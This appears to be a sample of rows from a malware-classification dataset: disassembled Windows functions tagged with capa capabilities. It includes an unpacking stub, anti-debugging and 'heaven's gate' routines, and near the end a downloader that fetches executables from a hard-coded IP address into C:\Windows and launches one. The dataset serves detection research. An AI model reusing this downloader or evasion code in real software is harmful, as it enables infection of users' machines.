joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48d810
Capabilities:
Check if file exists
Get file attributes
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x40
push ebx
push esi
mov esi, ecx
mov dword [esp + 0xc], edx
xor bl, bl
mov eax, esi
cmp dword [esi + 0x14], 8
jb 0x48d82d
mov eax, dword [esi]
test eax, eax
je 0x48d951
cmp word [eax], 0
je 0x48d951
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x48d951
test al, 0x10
jne 0x48d951
cmp dword [esi + 0x14], 8
jb 0x48d85f
mov esi, dword [esi]
push 0x4aca08
push esi
call fcn.004398c1
mov esi, eax
add esp, 8
test esi, esi
je 0x48d951
lea eax, [esp + 0x18]
xorps xmm0, xmm0
push eax
push esi
movlpd qword [esp + 0x18], xmm0
call fcn.0043b34b
push 2
push 0
push esi
call fcn.0043a9f1
lea eax, [esp + 0x24]
push eax
push esi
call fcn.0043b34b
lea eax, [esp + 0x34]
push eax
push esi
call fcn.0043b7cc
add esp, 0x24
cmp dword [esp + 0x10], 0x28
jbe 0x48d948
xor eax, eax
mov dword [esp + 0x20], 0x48535844
push esi
push 1
mov word [esp + 0x40], ax
xorps xmm0, xmm0
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
lea eax, [esp + 0x28]
push 0x28
push eax
mov dword [esp + 0x34], 0x28
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0
movsd qword [esp + 0x40], xmm0
call fcn.00439fda
add esp, 0x10
test eax, eax
je 0x48d948
mov eax, dword [esp + 0x2c]
not eax
ror eax, 3
cmp eax, dword [esp + 0xc]
jne 0x48d948
cmp dword [esp + 0x20], 0x48535844
jne 0x48d948
cmp dword [esp + 0x24], 0x28
jne 0x48d948
movzx ecx, word [esp + 0x38]
add ecx, dword [esp + 0x44]
mov eax, dword [esp + 0x3c]
add ecx, dword [esp + 0x40]
add eax, 0x28
add eax, ecx
cmp eax, dword [esp + 0x10]
sete bl
push esi
call fcn.00438fdb
add esp, 4
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x420b5b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x420b9a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x420b9a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x420b9a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x420b9a
cmp dword [ecx + 0x74], 0xe
jbe 0x420b9a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x433310
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43333d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43333d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x419a20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.IaDsgWGk
lea edi, [esi - 0x10000]
push edi
or ebp, 0xffffffff
jmp 0x419a42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419a49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419a38
mov eax, 1
add ebx, ebx
jne 0x419a5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419a50
jne 0x419a6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419a50
xor ecx, ecx
sub eax, 3
jb 0x419a80
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419af2
mov ebp, eax
add ebx, ebx
jne 0x419a8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x419a98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x419abc
inc ecx
add ebx, ebx
jne 0x419aa8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x419a9d
jne 0x419ab9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419a9d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x419adc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x419acd
jmp 0x419a3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x419adc
add edi, ecx
jmp 0x419a3e
pop esi
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x419b44
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x199f4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x19a74]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x419af9
mov ecx, edi
jns 0x419b28
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19a7c]
or eax, eax
je 0x419b3e
mov dword [ebx], eax
add ebx, 4
jmp 0x419b16
call dword [esi + 0x19a78]
mov ebp, dword [esi + 0x19a80]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x419b78
sub esp, 0xffffff80
jmp section.VHqxTUpa
Function at 0x4086cd
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406bc5
and dword [ebp - 4], 0
cmp dword [0x40fa04], 0
mov ebx, eax
jne 0x40877e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40882f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40882f
push eax
call fcn.00406b53
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40fa04], eax
call esi
push eax
call fcn.00406b53
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40fa08], eax
call esi
push eax
call fcn.00406b53
mov dword [esp], 0x40b3d0
push edi
mov dword [0x40fa0c], eax
call esi
push eax
call fcn.00406b53
pop ecx
mov dword [0x40fa14], eax
test eax, eax
je 0x40877e
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00406b53
pop ecx
mov dword [0x40fa10], eax
mov eax, dword [0x40fa10]
cmp eax, ebx
je 0x4087d6
cmp dword [0x40fa14], ebx
je 0x4087d6
push eax
call fcn.00406bce
push dword [0x40fa14]
mov esi, eax
call fcn.00406bce
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4087d6
test edi, edi
je 0x4087d6
call esi
test eax, eax
je 0x4087cd
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4087cd
test byte [ebp - 0xc], 1
jne 0x4087d6
or dword [ebp + 0x10], 0x200000
jmp 0x40880f
mov eax, dword [0x40fa08]
cmp eax, ebx
je 0x40880f
push eax
call fcn.00406bce
pop ecx
test eax, eax
je 0x40880f
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40880f
mov eax, dword [0x40fa0c]
cmp eax, ebx
je 0x40880f
push eax
call fcn.00406bce
pop ecx
test eax, eax
je 0x40880f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40fa04]
call fcn.00406bce
pop ecx
test eax, eax
je 0x40882f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408831
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x4581b9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x4581b9
lcall 0x5de5, 0x8b10c483
jmp loc.00d42b9c
Function at 0x4042b0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x581c90
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x5f0004]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea eax, [esi + 0x64]
push eax
call dword [0x5944b0]
mov dword [ebp - 4], 0
mov ecx, dword [esi + 0x5c]
mov dword [esi + 0x48], vtable.CList_struct_PARAM_INFO__struct_PARAM_INFO__.0
mov dword [esi + 0x54], 0
mov dword [esi + 0x58], 0
mov dword [esi + 0x50], 0
mov dword [esi + 0x4c], 0
call fcn.0041cc8a
mov dword [esi + 0x5c], 0
mov dword [ebp - 4], 1
mov ecx, dword [esi + 0x40]
mov dword [esi + 0x2c], vtable.CList_struct_PARAM_INFO__struct_PARAM_INFO__.0
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x30], 0
call fcn.0041cc8a
mov dword [esi + 0x40], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4115a0
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
lea edx, [ebp + 0x14]
sub esp, 0x40
push ebx
push esi
push edi
test ecx, ecx
jle 0x4115c8
mov eax, dword [ebp + 0x14]
lea edx, [ebp + 0x1c]
dec ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0x10], ecx
mov dword [ebp - 0xc], eax
jmp 0x4115d0
xorps xmm0, xmm0
movlpd qword [ebp - 0x10], xmm0
test ecx, ecx
jle 0x4115e9
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x14], eax
jmp 0x4115f1
xorps xmm0, xmm0
movlpd qword [ebp - 0x18], xmm0
test ecx, ecx
jle 0x41160a
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x1c], eax
jmp 0x411612
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
test ecx, ecx
jle 0x41162b
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x28], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x24], eax
jmp 0x411633
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov eax, edx
mov dword [ebp - 4], 0
cdq
xorps xmm0, xmm0
mov dword [ebp - 0x40], eax
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
movlpd qword [ebp - 0x38], xmm0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 8], 0
mov word [ebp - 8], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 4], esp
and esp, 0xfffffff0
push 0x33
call fcn.00411674

Function at 0x418950
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x5f0004]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, edx
push edi
mov edi, ecx
test esi, esi
jne 0x418975
push 0x57
jmp 0x418a01
push 0x1c
lea eax, [ebp - 0x68]
mov dword [ebp - 0x50], 0
push eax
xorps xmm0, xmm0
push esi
push edi
movups xmmword [ebp - 0x68], xmm0
movq qword [ebp - 0x58], xmm0
call dword [0x594364]
test eax, eax
je 0x418a07
push 0
push 0x40
lea eax, [ebp - 0x4c]
push eax
push esi
push edi
call dword [0x5943c4]
test eax, eax
je 0x418a07
mov eax, 0x5a4d
cmp word [ebp - 0x4c], ax
jne 0x4189fc
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x5c]
ja 0x4189fc
cmp eax, 0x40
jb 0x4189fc
push 0
push 0xf8
push ebx
add eax, esi
push eax
push edi
call dword [0x5943c4]
test eax, eax
je 0x418a07
cmp dword [ebx], 0x4550
jne 0x4189fc
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00560ad4
mov esp, ebp
pop ebp
ret 4
push 0xc1
call dword [0x594378]
mov ecx, dword [ebp - 8]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00560ad4
mov esp, ebp
pop ebp
ret 4
Function at 0x4195e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1cc
mov eax, dword [0x5f0004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push 4
push 0x1000
mov dword [ebp - 0x1cc], eax
mov edi, ecx
lea eax, [ebx + 0x1b8]
mov dword [ebp - 0x1c8], edx
push eax
push 0
push edi
call dword [0x5943f8]
mov esi, eax
test esi, esi
je 0x419864
push 0x40
lea eax, [ebp - 0xc8]
mov dword [ebp - 0x1c4], 0
push 0
push eax
call fcn.005631c0
add esp, 0xc
mov dword [ebp - 0x8c], 0x40
mov eax, 0x5a4d
mov word [ebp - 0xc8], ax
lea eax, [ebp - 0x1c4]
push eax
push 0x40
lea eax, [ebp - 0xc8]
push eax
push esi
push edi
call dword [0x5943f4]
test eax, eax
je 0x419864
cmp dword [ebp - 0x1c4], 0x40
jne 0x419864
push 0xf8
lea eax, [ebp - 0x1c0]
add esi, 0x40
push 0
push eax
call fcn.005631c0
add esp, 0xc
mov dword [ebp - 0x1c0], 0x4550
mov eax, 1
mov dword [ebp - 0x1ac], 0x200000e0
mov word [ebp - 0x1ba], ax
mov eax, 0x10b
mov word [ebp - 0x1a8], ax
lea eax, [ebp - 0x1c4]
push eax
push 0xf8
lea eax, [ebp - 0x1c0]
push eax
push esi
push edi
call dword [0x5943f4]
test eax, eax
je 0x419864
cmp dword [ebp - 0x1c4], 0xf8
jne 0x419864
lea eax, [ebx + 0x58]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x34], eax
add esi, 0xf8
lea eax, [ebp - 0x1c4]
mov dword [ebp - 0x20], 0
push eax
push 0x28
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], 0x7465642e
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0x72756f
push esi
push edi
movlpd qword [ebp - 0x30], xmm0
movlpd qword [ebp - 0x28], xmm0
mov dword [ebp - 0x38], 0x160
call dword [0x5943f4]
test eax, eax
je 0x419864
cmp dword [ebp - 0x1c4], 0x28
jne 0x419864
lea eax, [ebx + 0x58]
mov dword [ebp - 0x88], 0x40
mov dword [ebp - 0x7c], eax
xorps xmm0, xmm0
lea eax, [ebp - 0x1c4]
movlpd qword [ebp - 0x78], xmm0
push eax
push 0x40
lea eax, [ebp - 0x88]
movlpd qword [ebp - 0x70], xmm0
push eax
add esi, 0x28
movlpd qword [ebp - 0x68], xmm0
push esi
push edi
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
mov dword [ebp - 0x84], 0x727444
mov dword [ebp - 0x80], 0x40
call dword [0x5943f4]
test eax, eax
je 0x419864
cmp dword [ebp - 0x1c4], 0x40
jne 0x419864
lea eax, [ebx + 0x18]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], eax
xorps xmm0, xmm0
mov eax, dword [ebp - 0x1c8]
add esi, 0x40
movlpd qword [ebp - 0x14], xmm0
movlpd qword [ebp - 0xc], xmm0
movups xmm0, xmmword [eax]
lea eax, [ebp - 0x1c4]
push eax
push 0x18
lea eax, [ebp - 0x1c]
push eax
push esi
push edi
movups xmmword [ebp - 0x14], xmm0
call dword [0x5943f4]
test eax, eax
je 0x419864
cmp dword [ebp - 0x1c4], 0x18
jne 0x419864
lea eax, [ebp - 0x1c4]
push eax
push ebx
push dword [ebp - 0x1cc]
lea ecx, [esi + 0x18]
push ecx
push edi
call dword [0x5943f4]
test eax, eax
je 0x419864
cmp dword [ebp - 0x1c4], ebx
jne 0x419864
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00560ad4
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00560ad4
mov esp, ebp
pop ebp
ret 8
Function at 0x561a78
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [0x594414]
test eax, eax
je 0x561ab7
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x561ab7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x561ab7
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x561ab7
cmp dword [ecx + 0x74], 0xe
jbe 0x561ab7
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x580b50
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x580b7d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x580b7d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x604c10
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
sub esp, 0x4c
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x604d1c
test eax, eax
je 0x604d1c
push esi
push edi
mov ecx, 0x10
mov esi, 0x61ffe8
lea edi, [ebp - 0x4c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp + 0x14]
mov esi, dword [esi]
add esi, eax
mov dword [ebp - 8], esi
xor esi, esi
mov dword [ebp - 4], 0
mov ecx, eax
test edx, edx
jbe 0x604d03
lea edi, [eax + 4]
jmp 0x604c67
mov ebx, dword [ebp + 8]
movzx eax, byte [esi + ebx]
inc esi
shl eax, 0x10
cmp esi, edx
jne 0x604c7c
mov dword [ebp - 4], 2
jmp 0x604c9d
movzx ebx, byte [esi + ebx]
shl ebx, 8
inc esi
or eax, ebx
cmp esi, edx
jne 0x604c93
mov dword [ebp - 4], 1
jmp 0x604c9d
mov edx, dword [ebp + 8]
movzx edx, byte [esi + edx]
or eax, edx
inc esi
mov edx, eax
and edx, 0x3f
cmp edi, dword [ebp - 8]
ja 0x604d13
mov ebx, eax
shr ebx, 0x12
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x4c]
mov byte [ecx], bl
mov ebx, eax
shr ebx, 0xc
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x4c]
inc ecx
inc edi
mov byte [ecx], bl
mov ebx, dword [ebp - 4]
inc ecx
inc edi
cmp ebx, 1
jbe 0x604cd6
mov byte [ecx], 0x3d
jmp 0x604ce2
shr eax, 6
and eax, 0x3f
mov al, byte [ebp + eax - 0x4c]
mov byte [ecx], al
inc ecx
inc edi
test ebx, ebx
jbe 0x604ced
mov byte [ecx], 0x3d
jmp 0x604cf3
mov dl, byte [ebp + edx - 0x4c]
mov byte [ecx], dl
mov edx, dword [ebp + 0xc]
inc ecx
inc edi
cmp esi, edx
jb 0x604c64
mov eax, dword [ebp + 0x10]
sub ecx, eax
mov eax, dword [ebp + 0x14]
pop edi
pop esi
mov dword [eax], ecx
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x6943ea
Capabilities:
Execute anti-debugging instructions

Disassembly:
push edx
mov dl, 0xda
push ebp
cdq
push ebx
not ebp
push esi
push ecx
movsx edx, cx
not ebx
push eax
pushfd
push edi
adc si, 0xab1
movsx ax, bl
mov ecx, 0
bswap eax
sete bh
push ecx
rcl bl, 0xc1
mov esi, dword [esp + 0x28]
xor eax, 0x5a270673
bt eax, 0xa2
mov edi, 0x73fb798b
neg esi
rcl bl, cl
cmovne ax, sp
ror esi, 1
rdtsc
movzx ebp, dx
inc esi
bswap edx
rdtsc
rol edx, 0x62
bswap esi
bts edx, edi
rdtsc
rol esi, 1
dec ebx
not esi
or dx, 0x1000
xor esi, 0x4c07bc6
lea esi, [esi + ecx]
neg bp
test esp, ebx
mov ebp, esp
or di, 0x765c
btr edi, edi
lea esp, [esp - 0xc0]
test di, 0x196e
mov ebx, esi
mov edx, 0
sub ebx, edx
btc di, 0x9b
sbb al, al
lea edi, [0x694481]
sal al, cl
shl eax, cl
or ax, 0x696c
lea esi, [esi - 4]
bt ax, dx
mov eax, dword [esi]
test edx, edx
xor eax, ebx
stc
cmc
ror eax, 1
jmp 0x8b3a87
inc eax
stc
test esi, 0x4a07995
neg eax
cmp ecx, esp
lea eax, [eax - 0x44bb6a24]
cmc
cmp ebp, ebx
xor ebx, eax
stc
add edi, eax
push edi
ret

Function at 0xc1a4a1
Capabilities:
Execute anti-debugging instructions

Disassembly:
inc eax
stc
test esi, 0x4a07995
neg eax
cmp ecx, esp
lea eax, [eax - 0x44bb6a24]
cmc
cmp ebp, ebx
xor ebx, eax
stc
add edi, eax
push edi
ret
push edx
mov dl, 0xda
push ebp
cdq
push ebx
not ebp
push esi
push ecx
movsx edx, cx
not ebx
push eax
pushfd
push edi
adc si, 0xab1
movsx ax, bl
mov ecx, 0
bswap eax
sete bh
push ecx
rcl bl, 0xc1
mov esi, dword [esp + 0x28]
xor eax, 0x5a270673
bt eax, 0xa2
mov edi, 0x73fb798b
neg esi
rcl bl, cl
cmovne ax, sp
ror esi, 1
rdtsc
movzx ebp, dx
inc esi
bswap edx
rdtsc
rol edx, 0x62
bswap esi
bts edx, edi
rdtsc
rol esi, 1
dec ebx
not esi
or dx, 0x1000
xor esi, 0x4c07bc6
lea esi, [esi + ecx]
neg bp
test esp, ebx
mov ebp, esp
or di, 0x765c
btr edi, edi
lea esp, [esp - 0xc0]
test di, 0x196e
mov ebx, esi
mov edx, 0
sub ebx, edx
btc di, 0x9b
sbb al, al
lea edi, [0xc1a538]
sal al, cl
shl eax, cl
or ax, 0x696c
lea esi, [esi - 4]
bt ax, dx
mov eax, dword [esi]
test edx, edx
xor eax, ebx
stc
cmc
ror eax, 1
jmp 0xbc15cf
Function at 0x401270
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push esi
mov esi, dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push 0
push 0
push str.C:WindowsSystenm.exe
push str.http:__156.225.58.60:6632_GG.exe
push 0
call esi
push 0
push 0
push str.C:Windows1.bin
push str.http:__156.225.58.60:6632_156.225.58.60_86.bin
push 0
call esi
push 0
push 0
push str.C:Windows_awesomium.dll
push str.http:__156.225.58.60:6632_awesomium.dll
push 0
call esi
push 5
push 0
push 0
push str.C:WindowsSystenm.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop esi
ret

Function at 0x401400
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov eax, edi
shr eax, 4
inc eax
push 6
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x401429
pop edi
pop ebx
pop ebp
ret
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40143f
xor esi, esi
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401436
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x401472
nop
cmp esi, ecx
jae 0x401436
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x401460
cmp esi, ecx
jae 0x401436
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401720
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, dword [ebp + 8]
push edi
mov dword [ebp - 4], ecx
call fcn.00406f3c
mov ebx, eax
test ebx, ebx
jne 0x401740
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, edi
shr eax, 4
push esi
inc eax
push 6
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 8], eax
test eax, eax
je 0x401827
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x401827
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401827
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x4017a8
cmp esi, ecx
jae 0x401827
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x401792
cmp esi, ecx
jae 0x401827
cmp word [esi], 0
je 0x401827
movzx eax, word [esi]
lea ecx, [esi + 2]
push 0
push 0
push 0
push 0
push eax
push ecx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
js 0x401832
mov ebx, dword [ebp - 4]
mov edx, 1
mov ecx, dword [ebx]
sub edx, dword [ecx - 4]
mov ecx, dword [ecx - 8]
sub ecx, edi
or edx, ecx
jge 0x4017f0
push edi
mov ecx, ebx
call fcn.00401630
movzx eax, word [esi]
push 0
push 0
push edi
push dword [ebx]
push eax
lea eax, [esi + 2]
push eax
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebx]
cmp edi, dword [eax - 8]
jg 0x401832
mov dword [eax - 0xc], edi
mov eax, dword [ebx]
pop esi
mov byte [edi + eax], 0
mov eax, 1
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop esi
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x80070057
call fcn.00401860
int3